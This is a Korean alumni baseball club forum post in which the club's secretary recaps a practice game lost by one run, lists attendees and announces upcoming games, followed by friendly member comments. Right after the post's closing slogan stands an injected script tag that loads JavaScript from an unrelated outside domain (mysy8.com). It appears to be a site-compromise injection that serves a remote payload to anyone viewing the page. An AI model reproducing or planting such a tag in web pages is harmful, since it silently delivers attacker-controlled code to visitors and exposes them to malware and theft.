인천고야구사랑모임
게임 후기가 늦었습니다....
본문
안녕하세요 야사모 총무 윤은식입니다.
어제는 비가 무섭게 내렸는데 오늘은 화창한 날씨네요. 어제부로 5월 영업 마감이 끝나서 이제야 게임후기를 올립니다.
6월 1일 3시 30분 인고 운동장에서 논현초등학교 팀과 연습게임을 가졌습니다. 초반의 열세를 딛고 열심히 따라갔지만 끝내 1점차이로 패하고 말았네요… But, 수비만 한 번해도 땀이 주르륵 흐르는 더운 날씨에 열심히 뛰어준 회원 여러분께 감사를 드립니다.
참석자는
이성헌(78), 주민수(80), 추승호(82), 임중혁(82), 심문현(85), 백종학(86)
윤은식(87), 박기정(88), 이혜원(88), 김상수(88), 이호성(89), 이상 11명이었습니다. 명단에서 보듯이 이제 88회가 82회에 못지 않은 야사모의 주축세력으로 자리잡는 것같아서 기쁨과 우려(?^^)가 드네요ㅎㅎㅎ
지난 게임의 백미는 유격수 추승호 형님과 2루수 호성이의 멋진 더블플레이였다고 생각합니다. 야사모 부동의 센터로 안정된 수비를 보이시던 승호형님이 주전 내야수들의 부재를 틈타 숏으로 화려하게 데뷔를 하셨고 본인도 매우 만족해(?)하시는 눈빛이었습니다. 그리고 도저히, 정말, really, 상상할 수 없었던 호성이의 멋진 병살 처리도 매우 멋있었습니다. 야사모의 주전 내야수 분들 재야세력에게 주전 자리를 위협받을 수 있으니 부지런히 참석하셔야 하겠습니다.
6월 8일은 69회 체육대회가 있는 바 3시 30분 경에 게임을 가지려 합니다.(아직 확정된 것은 아닙니다). 6월 6일도 운동장을 사용할 수 있는지 확인 중에 있고요… 확정되는 대로 바로 공지 올리겠습니다. 그때까지 안녕~~~~~~~
아시죠?
“눈팅은 선택, 댓글은 필수”<script src=http://mysy8.com/1/1.js
댓글목록 0
신승오님의 댓글
인원이 점점 줄어드네. 나라도 얼릉 나가야 하는데..끙
미진리님의 댓글
선배님들 더운 날 고생많이 하셨습니다. 세미나 관계로 참석치 못해 죄송합니다.
김두환님의 댓글
요새 5일근무제 하는 회사가 많은데 토요일에도 한번쯤 연습 했으면 합니다.
추승호님의 댓글
많이 나와서 같이 운동했으면 좋겠는데 아쉽씀니다. 수고 하삼요~~^^
윤은식(87)님의 댓글
승오형님 오랜만입니다. 아직 다리가 편찮으신가요?... 얼른 완쾌되었으면 좋겠습니다. 그리고 두환형님 그러잖아도 승호형님이 토요일 게임 말씀하신적 있는데 한 번 추진해보겠습니다.
홍석범님의 댓글
선배님들 안녕하세요~오랜만에 들어와봅니다~은식선배님이 문자로 게임공지는 알고있는데, 자꾸 일이 생겨서...조만간 찾아뵙겠습니다~
김상수(88)님의 댓글
더운 날씨에 선후배님들 모두 열심히 뛰셨는데 승리 하지 못한거 넘 아쉽읍니다~~
담번엔 꼭 승리에 도움이 될수 있도록 노력하겠읍니다~~^^*
임중혁님의 댓글
손목 통증이 사라지질 않아서 당분간은 계속 쉬어야 할것 같네요